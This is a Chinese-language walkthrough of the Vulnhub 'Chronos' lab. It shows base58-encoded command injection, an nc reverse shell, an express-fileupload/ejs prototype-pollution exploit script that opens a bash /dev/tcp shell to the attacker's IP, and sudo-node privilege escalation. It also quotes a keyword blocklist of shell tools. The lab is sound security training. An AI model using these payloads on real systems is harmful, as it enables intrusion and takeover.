第三台
靶机03
靶机名称:Vulnhub------Chronos
靶机链接:https://www.vulnhub.com/entry/chronos-1,735/
难度:medium(巧妙无比)
打靶目标: 取得 2 个 flag + root 权限
攻击机:Kali Linux
使用工具:CyberChef、masscan、netdiscover
注:由于时间原因和我的懒惰没有固定IP,IP有出入请大佬见谅
这台靶机的漏洞利用方式与构思都十分巧妙,即使是简单的漏洞也需要通过十分巧妙的方式进行利用.同时我们可以学到数据编解码的姿势.
在打靶过程中,难免会遇到不会的内容,这时候我们就要学会利用搜索引擎进行搜索与快速学习,在攻击中成长.
这台靶机用到了CMS漏洞,学习各种CMS与代码审计是十分必要的!
主机发现~新工具netdiscover
锵锵~这次我们再来学习一个新的内网ARP主机发现工具,netdiscover
它的用法很简单,使用sodu netdiscover -r IP/CIDR即可进行一个网段的主机发现
我们使用sudo netdiscover -r 192.168.0.0/16
子网掩码建议在原有基础上减去8使用,由于扫描时使用的是多线程技术,所以我们可以把子网掩码-8,这样虽然扫描范围扩大一倍,但是扫描的线程数更多,速度会更快,效率更高.
当然,就按照原来的子网掩码进行配置也是可以

老样子,我们对靶机进行全端口发现与端口服务扫描
sudo nmap -p- 10.0.0.28

这里再使用nmap查看一下22,80,8000端口开发的指纹信息

发现了两个web页面:
一个是80,采用Apache搭建
一个是8000,采用Node.js Express Framework搭建
Apache我们都很熟悉了,但是Node.js不熟悉啊! 害怕,哭唧唧 😦
咦,怎么全端口扫描这么慢!我们介绍一个新工具,如果只进行端口的发现的扫描,速度非常快!
masscan.此工具内置在kali中,可以直接开箱使用.
sudo masscan -p- 10.0.0.28 --rate=500使用-p-进行全端口扫描,使用--rate指定速度
注意,rate越大速度越快,但是错过端口的概率也随之增高
PS:masscan与nmap在不同情境下扫描的速度均不一样.可能这一次nmap比较快,但是可能下一次masscan反而更快了.
区别在于masscan适用于做不精确的超多目标的少量端口发现,而nmap针对于单目标的准确度会更高!
发现了端口后,我们再使用nmap进行具体的服务扫描
web界面发现
我们先来查看80端口的web服务,发现什么功能都没有!只是文字而已...

我们现在有两个选择,一是进行目录爆破,查找隐藏目录与功能,二是查看当前页面的源代码,看看有没有什么好东西~
我们在Firefox浏览器中使用快捷键Ctrl+u查看页面源代码

仔细查看,发现没有表单等功能,但是有一段嵌入的javascript代码
我们把它拷贝下来
var _0x5bdf=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];(function(_0x506b95,_0x817e36){var _0x244260=_0x432d;while(!![]){try{var _0x35824b=-parseInt(_0x244260(0x7e))*parseInt(_0x244260(0x90))+parseInt(_0x244260(0x8e))+parseInt(_0x244260(0x7f))*parseInt(_0x244260(0x83))+-parseInt(_0x244260(0x87))+-parseInt(_0x244260(0x82))*parseInt(_0x244260(0x8d))+-parseInt(_0x244260(0x88))+parseInt(_0x244260(0x80))*parseInt(_0x244260(0x84));if(_0x35824b===_0x817e36)break;else _0x506b95['push'](_0x506b95['shift']());}catch(_0x3fb1dc){_0x506b95['push'](_0x506b95['shift']());}}}(_0x5bdf,0xcaf1e));function _0x432d(_0x16bd66,_0x33ffa9){return _0x432d=function(_0x5bdf82,_0x432dc8){_0x5bdf82=_0x5bdf82-0x7e;var _0x4da6e8=_0x5bdf[_0x5bdf82];return _0x4da6e8;},_0x432d(_0x16bd66,_0x33ffa9);}function loadDoc(){var _0x17df92=_0x432d,_0x1cff55=_0x17df92(0x8f),_0x2beb35=new XMLHttpRequest();_0x2beb35[_0x17df92(0x89)]=function(){var _0x146f5d=_0x17df92;this[_0x146f5d(0x85)]==0x4&&this[_0x146f5d(0x8c)]==0xc8&&(document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)]=this[_0x146f5d(0x86)]);},_0x2beb35[_0x17df92(0x81)]('GET',_0x17df92(0x8a),!![]),_0x2beb35['setRequestHeader'](_0x17df92(0x8b),_0x1cff55),_0x2beb35['send']();}
诶呀!为什么js代码这么乱啊!竟然没有缩进、分行.这也太难看了!
别着急,我们使用一款在线工具Cyberchef,这是一款非常强大的工具,其中包含有加解密,代码美化等多种功能
我们在左边的搜索栏搜索Beautify,选择JavaScript Beautify,然后拖动到Recipe中.
我们把杂乱的js代码拷贝到Input中,点击BAKE!,就可以看到美化后的代码啦~
美化后
var _0x5bdf = [
'150447srWefj',
'70lwLrol',
'1658165LmcNig',
'open',
'1260881JUqdKM',
'10737CrnEEe',
'2SjTdWC',
'readyState',
'responseText',
'1278676qXleJg',
'797116soVTES',
'onreadystatechange',
'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL',
'User-Agent',
'status',
'1DYOODT',
'400909Mbbcfr',
'Chronos',
'2QRBPWS',
'getElementById',
'innerHTML',
'date'
];
(function (_0x506b95, _0x817e36) {
var _0x244260 = _0x432d;
while (!![]) {
try {
var _0x35824b = -parseInt(_0x244260(126)) * parseInt(_0x244260(144)) + parseInt(_0x244260(142)) + parseInt(_0x244260(127)) * parseInt(_0x244260(131)) + -parseInt(_0x244260(135)) + -parseInt(_0x244260(130)) * parseInt(_0x244260(141)) + -parseInt(_0x244260(136)) + parseInt(_0x244260(128)) * parseInt(_0x244260(132));
if (_0x35824b === _0x817e36)
break;
else
_0x506b95['push'](_0x506b95['shift']());
} catch (_0x3fb1dc) {
_0x506b95['push'](_0x506b95['shift']());
}
}
}(_0x5bdf, 831262));
function _0x432d(_0x16bd66, _0x33ffa9) {
return _0x432d = function (_0x5bdf82, _0x432dc8) {
_0x5bdf82 = _0x5bdf82 - 126;
var _0x4da6e8 = _0x5bdf[_0x5bdf82];
return _0x4da6e8;
}, _0x432d(_0x16bd66, _0x33ffa9);
}
function loadDoc() {
var _0x17df92 = _0x432d, _0x1cff55 = _0x17df92(143), _0x2beb35 = new XMLHttpRequest();
_0x2beb35[_0x17df92(137)] = function () {
var _0x146f5d = _0x17df92;
this[_0x146f5d(133)] == 4 && this[_0x146f5d(140)] == 200 && (document[_0x146f5d(145)](_0x146f5d(147))[_0x146f5d(146)] = this[_0x146f5d(134)]);
}, _0x2beb35[_0x17df92(129)]('GET', _0x17df92(138), !![]), _0x2beb35['setRequestHeader'](_0x17df92(139), _0x1cff55), _0x2beb35['send']();
}
js代码分析
虽然经过了美化,代码的逻辑更加清晰了,但是好像大多数的内容都经过了编码,很难看出它在说什么...
俗话说得好,柿子要挑软的捏,我们仔细的看看,虽然许多函数名称都经过了加密,但是在这个数组中,有一串网址特别显眼.
http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
我们发现有一串网址是没有经过加密的,而且我们还看到了chronos.local:8000熟悉的主机名,熟悉的端口
我们猜一猜,这前面的一段内容代表什么呢?
chronos就是我们这台靶机的名称,local是本机的意思.看来这个域名指的就是这台靶机它自己啊!
但是有一个小问题,当我们加载页面时,js去执行相关代码,可能会向这个地址发送请求.那么问题来了,由于这段域名是无法解析的,导致无法正常访问8000端口页面,获得内容.这就导致了某些功能加载不完全.这可怎么办!
既然dns解析不出来ip,那我们就替他‘解析’吧
修改/etc/hosts文件,将域名指向靶机的ip地址
sudo vi /etc/hosts 要注意,使用sudo权限进行更改

现在我们再刷新一下页面,看看有没有变化呢~

果然!我们看到了新内容,显示的是我们现在的时间.
既然这样,我们不妨看看在访问页面的过程中进行了哪些操作吧~
打开burp,设置代理.我们查看一下都有哪些请求

可以看到,发送了三个请求包.第一个获取的是根目录,其他两个访问了我们刚才修复的功能
第三个请求包特别有意思,它传递了format参数,并且参数的具体值似乎经过了某种加密
/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
还有一个特殊的地方,我们的请求头被修改为了Chronos,尝试修改请求头,发现返回了Permission Denied.看来这个还挺重要的吗~
我们在burp中点击右键,把它发送到Repeater模块,准备进一步的攻击.
加密&解密
要想对参数进行修改,我们就必须先搞懂这是什么加密.
我们再次使用强大的工具CyberChef对其进行解密
搜索Magic模块,这是一个自动分析数据使用了什么加密方式的分析工具.

分析出来了!是base58!
点击右下角的Base58自动加载模块,进行解密.
有些同学会说:"我直接开始疑惑,base58是什么鬼?我只知道base64啊?"
其实base家族有很多成员,不只是base64,还有base32,base58等
但是他们都有一个共同点,加密是可逆的!
我们就可以通过工具对加密的数据进行解密修改,然后再加密回去,以达到修改数据的目的
扯回来,我们看看结果
'+Today is %A, %B %d, %Y %H:%M:%S.'
看着很眼熟啊!这有点像...像Linux中的date命令!
data '+<formatexp>'进行时间的格式化输出
既然这样,看来这一串数据是会被拼接到date命令后面的.
data <input>

诶~~既然有终端命令,我们不妨试试命令注入吧!
我们在Repeater中修改format为原内容

替换为&&ls的base58编码

验证我们的猜想存在命令执行
那我们就可以执行反弹shell的命令,尝试使用nc来进行反弹shell
尝试执行&&ls /bin命令查看一下是否存在nc

发现存在nc
但是我们不知道nc的版本,不知道它是存在-e的还是没有
我们要进行进一步的测试
&&nc 192.168.0.103 4444
kali上开启4444端口进行监听

发现出现了报错,但是没关系

会看kail发现有回弹,但是无法执行命令

这时我们就可以验证一下是否可以使用nc的-e参数了
&&nc 192.168.0.103 4444 -e /bin/bash

发现nc连最基本的回连都没返回,可以确定这是一个不包含-e参数的版本
这时就可以使用到上一站靶场使用到的nc串联的方式了
同时要开启kali上的4444端口和5555端口

成功返回
执行命令cat /etc/passwd查看一下改台机子上所有的用户账号信息

我们发现这里有个imera用户,我们这里

进入imera目录下,查看目录,发现存在user.txt这个疑似flag的目录
但是只有它本人才能查看.

到这个阶段,我们的目标就很明确了,提权
linux常用三大提权方式:
内核提权,查看内核版本

版本过高,失败
suid提权

失败
当然也没有sudo -l的权限,我们只有www-data的权限,该这么提权了了???
重新开始信息收集,把目标系统中的信息再看一遍
我们使用cat指令查看一下文件内容吧~

查看package.json
//package.json{ "dependencies": { //依赖的框架和库 "bs58": "^4.0.1", "cors": "^2.8.5", "express": "^4.17.1" }}
为什么我第一眼要来看它呢?
因为对于nodejs架构来说,几乎每一种架构下都会有package.json,里面写着依赖的库
可以看到bs58,这就是它用来加密传输的算法库
cors不知道,我们先跳过
express,这个就很出名啦!著名的nodejs开发框架.
我们再看看app.js
//app.js
/ created by alienum for Penetration Testing
// 加载了一些库
const express = require('express');
const { exec } = require("child_process");
const bs58 = require('bs58');
const app = express();
//开放再8000端口,和我们的扫描结果相验证
const port = 8000;
const cors = require('cors');
// 这里进行了一些路由的配置
app.use(cors());
app.get('/', (req,res) =>{
res.sendFile("/var/www/html/index.html");
});
app.get('/date', (req, res) => {
// 对数据进行接收
var agent = req.headers['user-agent'];
var cmd = 'date ';
// 提取赋值
const format = req.query.format;
// 解码
const bytes = bs58.decode(format);
// 还原
var decoded = bytes.toString();
// 拼接
var concat = cmd.concat(decoded);
if (agent === 'Chronos') {
// 进行判断,但是没有阻止这些数据的提交
if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {
res.send("Something went wrong");
}
exec(concat, (error, stdout, stderr) => {
if (error) {
console.log(`error: ${error.message}`);
return;
}
if (stderr) {
console.log(`stderr: ${stderr}`);
return;
}
res.send(stdout);
});
}
else{
res.send("Permission Denied");
}
})
app.listen(port,() => {
console.log(`Server running at ${port}`);
})
简单进行代码审计,在访问/date路径时首先检查了ua(User-agent),果然如之前所猜测的那样,进行了特殊的ua检测,不然就显示Permission Denied.
接下来就是对format参数进行解码,拼接到cmd后进行执行
中间有对关键字的检测,但是只检测,并没有防止指令的执行,这就导致了我们之前虽然输入which nc被拦截,但还是可以使用nc反弹shell.
可惜的是,我们并没有在这里找到提权的有关信息.这可咋整?顶着www-data还能干啥?
哎嘿,但是我们又发现了chronos-v2,有点意思,我们看看

进去后发现这是另外一个web应用

wow,root权限~ 真的是root吗?
我们看看,有前端,后端.肯定看后端啊!
进入后端查看
还是熟悉的操作,熟悉的文件.我们看看package.json吧~
{
"name": "some-website",
"version": "1.0.0",
"description": "",
"main": "server.js", // 这是服务器端的主程序
"scripts": {
"start": "node server.js" // 启动服务端的应用
},
// 下面是一些依赖库的信息
"author": "",
"license": "ISC",
"dependencies": {
"ejs": "^3.1.5", // 嵌入式的JavaScript模板
"express": "^4.17.1", // 这个版本没有发现有用可利用提取的漏洞
"express-fileupload": "^1.1.7-alpha.3" // 文件上传功能?
}
}
我们再去看看主文件
// 调用了一些库,进行开发
// 能找到利用的只有express或者express-fileupload
const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')
const app = express();
app.use(fileupload({ parseNested: true }));
// 调用了一些模板和文件
app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");
app.get('/', (req, res) => {
res.render('index')
});
const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;
server.listen(port, addr, () => {
console.log('Server listening on ' + addr + ' port ' + port);
});
开放在8080端口?看到这里,我相信你已经不奇怪为什么我们之前没有扫描到这个web服务了
绑定的地址在127.0.0.1,看来这正是为我们在这个时候准备的.希望很大!
此处有一个特殊的设置,app.use(fileupload({ parseNested: true }));
我们都知道,造成漏洞最多的原因就是因为配置错误.我们不妨搜索一下express-fileupload的相关内容
搜索引擎——GIYF
“Google Is Your Friend”
——沃·兹基硕德
大家都说,搜索引擎是渗透测试人员最好的朋友,在渗透的过程中,我们很可能遇到自己不会的内容.这个时候我们就需要通过搜索引擎进行搜索,进行快速地学习,这样才能解决不同的问题.
这种能力是非常重要的!
在百度搜索好像没有太多的内容,
我们去google科学搜索一下吧~
link搜到啦~注意,这个链接需要大家想想办法才可以访问
但是这个页面指向了这个漏洞的发现者的博客,我们去看看!
对这个漏洞的利用需要ejs框架和parseNested开启,这正是我们有的!
看来这个漏洞势在必得!
import requests
LHOST='192.168.0.106' # Change it 你的kaliIP
LPORT='6666' # Change it
RHOST='127.0.0.1' # Change it
RPORT='8080' # Change it
cmd = 'bash -c "bash -i &> /dev/tcp/'+LHOST+'/'+LPORT+' 0>&1"'
# pollute
requests.post('http://'+RHOST+':'+RPORT, files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://'+RHOST+':'+RPORT)
我们在博客中找到了作者的exp模版,我们进行修改,上传
在kali使用python3 -m http.server 8888开启web(文件传输)服务,
在靶机进入/tmp目录,使用wget http://192.168.0.106:8888/exp.py获取exp.py文件
执行一下,执行之前要在kail上开启6666端口监听

回显成功

发现我们拿到的是刚刚我们查看的imera权限

这个账号有没有管理员权限,我们不知道但是我们在之前发现了一个user.txt的文件
我们查看一下

获得了第一个flag
进入root目录下查看一下

权限拒绝
第二次提权
还是老三样,内核,suid,sudo
我们查看sudo -l 果然发现有可乘之机

我们可以使用root权限在没有密码的情况下运行node,执行javascript文件
这不是手到擒来吗!我们之前使用过python反弹shell,nodejs其实是一样的道理,只是编写shell的语言不同罢了~
sudo node -e "child_process.spawn('/bin/bash',{stdio: [0,1,2]})"

成功提权

彩蛋
不知道你有没有发现,这两个flag都很像我们之前的加密数据.我们试试~
User-flag --base64> o chronos pernaei file mou
Root-flag --base64> apopse siopi mazeuoume oneira
o chronos pernaei file mou->时间过去了我的朋友
apopse siopi mazeuoume oneira->今夜寂静,我们聚梦
参考链接:

浙公网安备 33010602011771号